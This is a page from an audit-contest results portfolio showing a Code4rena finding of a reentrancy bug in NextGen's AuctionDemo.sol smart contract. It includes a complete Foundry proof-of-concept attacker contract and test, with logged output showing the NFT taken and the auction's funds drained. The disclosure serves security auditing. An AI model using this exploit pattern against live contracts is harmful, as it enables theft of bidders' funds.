NextGen - yobiz's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 222/243

Findings: 1

Award: $0.00

๐ŸŒŸ Selected for report: 0

๐Ÿš€ Solo Findings: 0

Findings Information

๐ŸŒŸ Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol?plain=1#L111-L113

Vulnerability details

Details

AuctionDemo.sol#L111-113

            if (
                auctionInfoData[_tokenid][i].bidder == highestBidder &&
                auctionInfoData[_tokenid][i].bid == highestBid &&
                auctionInfoData[_tokenid][i].status == true
            ) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success,) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            }

This code snippet doesn't change the state of auctionInfoData[_tokenId][i].status to false before transferring assets. Consequently, safeTransferFrom will invoke the receiver contract through the callback function onERC721Received. An attacker can potentially exploit this callback to gain reentry into the cancelBid or cancelAllBids functions. Although these functions have check:

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

but still executable at last second auction ends.

Second possible attack is do the same but place one more bid using function participateToAuction and exploit reentrancy after this call:

AuctionDemo.sol#L116

(bool success,) =
payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

Impact

Bad actor can steal users funds from auction contract.

Proof of Concept

<details>
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {NextGenMinterContract} from "../hardhat/smart-contracts/MinterContract.sol";
import {NextGenCore} from "../hardhat/smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../hardhat/smart-contracts/RandomizerNXT.sol";
import {DelegationManagementContract} from "../hardhat/smart-contracts/NFTdelegation.sol";
import {NextGenAdmins} from "../hardhat/smart-contracts/NextGenAdmins.sol";
import {randomPool} from "../hardhat/smart-contracts/XRandoms.sol";
import {auctionDemo} from "../hardhat/smart-contracts/AuctionDemo.sol";

contract AttackReentrancy {
    address auctionSC;

    constructor(address _aucSC) payable {
        auctionSC = _aucSC;
    }

    function makeBid() external {
        auctionDemo(auctionSC).participateToAuction{value: 15000}(10000000000);
    }

    function claim() external {
        auctionDemo(auctionSC).claimAuction(10000000000);
    }

    // Fake onERC721Received called after NFT sent to the attacker contract(this)
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        external
        returns (bytes4 retval)
    {
        // Cancel attacker bid and get moneyback
        auctionDemo(auctionSC).cancelAllBids(10000000000);

        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

contract AuctionDemoTest is Test {
    NextGenCore public coreSC;
    NextGenMinterContract public minterSC;
    auctionDemo public auctionSC;
    NextGenRandomizerNXT public randomizerSC;
    randomPool public randomSC;
    DelegationManagementContract public delegationSC;
    NextGenAdmins public adminsSC;
    AttackReentrancy public attackReentrancySC;

    address deployer = vm.addr(111);
    address attacker = vm.addr(555);
    address buyer1 = vm.addr(444);
    address buyer2 = vm.addr(4444);
    address buyer3 = vm.addr(44444);
    address artist = vm.addr(222);

    function setUp() public {
        vm.deal(deployer, 100 ether);
        vm.deal(attacker, 100 ether);
        vm.deal(buyer1, 100 ether);
        vm.deal(buyer2, 100 ether);
        vm.deal(buyer3, 100 ether);

        // Deploy contracts
        vm.startPrank(deployer);
        delegationSC = new DelegationManagementContract();
        adminsSC = new NextGenAdmins();
        coreSC = new NextGenCore("Next Gen Core", "NEXTGEN", address(adminsSC));
        minterSC = new NextGenMinterContract(address(coreSC), address(delegationSC), address(adminsSC));
        randomSC = new randomPool();
        randomizerSC = new NextGenRandomizerNXT(address(randomSC), address(adminsSC), address(coreSC));
        auctionSC = new auctionDemo(address(minterSC), address(coreSC), address(adminsSC));

        // Deploy attacker contract with 15000 initial balance
        attackReentrancySC = new AttackReentrancy{value: 15000}(address(auctionSC));

        // Approval for auction contract
        coreSC.setApprovalForAll(address(auctionSC), true);

        coreSC.addMinterContract(address(minterSC));

        // Set up collection
        coreSC.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            new string[](0)
        );

        coreSC.setCollectionData(
            1, // _collectionID
            address(artist), // _collectionArtistAddress
            1, // _maxCollectionPurchases
            100, // _collectionTotalSupply
            1000 // _setFinalSupplyTimeAfterMint
        );

        coreSC.addRandomizer(1, address(randomizerSC));

        //Set Collection Costs and Phases

        minterSC.setCollectionCosts(
            1, // _collectionID
            1000000000000000000, // _collectionMintCost 1 eth
            1000000000000000000, // _collectionEndMintCost 1 eth
            0, // _rate
            1, // _timePeriod // ะผะตัˆะฐะปะพ ัั‚ะฐั€ั‚ะพะฒะฐั‚ัŒ ะฐัƒะบ(0)
            2, // _salesOptions
            address(auctionSC) // delAddress
        );

        minterSC.setCollectionPhases(
            1, // _collectionID
            1, // _allowlistStartTime
            10000, // _allowlistEndTime
            10001, // _publicStartTime
            2000001, // _publicEndTime
            0xf49459f2280a4e2dfd0974b38c8afaa6795cb942fa9ed2cce33a21d7b3372044 // _merkleRoot
        );

        // Create 2 auctions
        minterSC.mintAndAuction(address(deployer), '{"yo": "true"}', 0, 1, 100000000);
        vm.warp(10);
        minterSC.mintAndAuction(address(deployer), '{"yo": "true"}', 0, 1, 200000000);
        vm.stopPrank();

        // Users bets
        vm.prank(buyer1);
        auctionDemo(auctionSC).participateToAuction{value: 1000}(10000000000);
        vm.prank(buyer2);
        auctionDemo(auctionSC).participateToAuction{value: 5000}(10000000000);
        vm.prank(buyer3);
        auctionDemo(auctionSC).participateToAuction{value: 9000}(10000000000);

        vm.prank(buyer1);
        auctionDemo(auctionSC).participateToAuction{value: 2000}(10000000001);
        vm.prank(buyer2);
        auctionDemo(auctionSC).participateToAuction{value: 4000}(10000000001);
        vm.prank(buyer3);
        auctionDemo(auctionSC).participateToAuction{value: 9000}(10000000001);
    }

    function testReentrancy() public {
        console2.log("balance attacker before: ", address(attackReentrancySC).balance);
        console2.log("balance auction before: ", address(auctionSC).balance);
        console2.log("nft attacker balance before: ", coreSC.balanceOf(address(attackReentrancySC)));

        // Set end auction time
        vm.warp(100000000);

        vm.startPrank(attacker);
        attackReentrancySC.makeBid(); // Make highest bid
        attackReentrancySC.claim(); // Reentrancy attack here
        vm.stopPrank();

        console2.log("balance attacker after: ", address(attackReentrancySC).balance);
        console2.log("balance auction after: ", address(auctionSC).balance);
        console2.log("nft attacker balance after: ", coreSC.balanceOf(address(attackReentrancySC)));
    }
}

Results:

balance attacker before: 15000 balance auction before: 30000 nft attacker balance before: 0 balance attacker after: 15000 balance auction after: 0 nft attacker balance after: 1
</details>

Tools Used

Manual review

add auctionInfoData[_tokenid][i].status == false before safeTransferFrom

Assessed type

Other

#0 - c4-pre-sort

2023-11-16T00:54:28Z

141345 marked the issue as duplicate of #1172

#1 - c4-judge

2023-12-06T21:28:21Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T17:47:27Z

alex-ppg marked the issue as partial-50

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax ยฉ 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter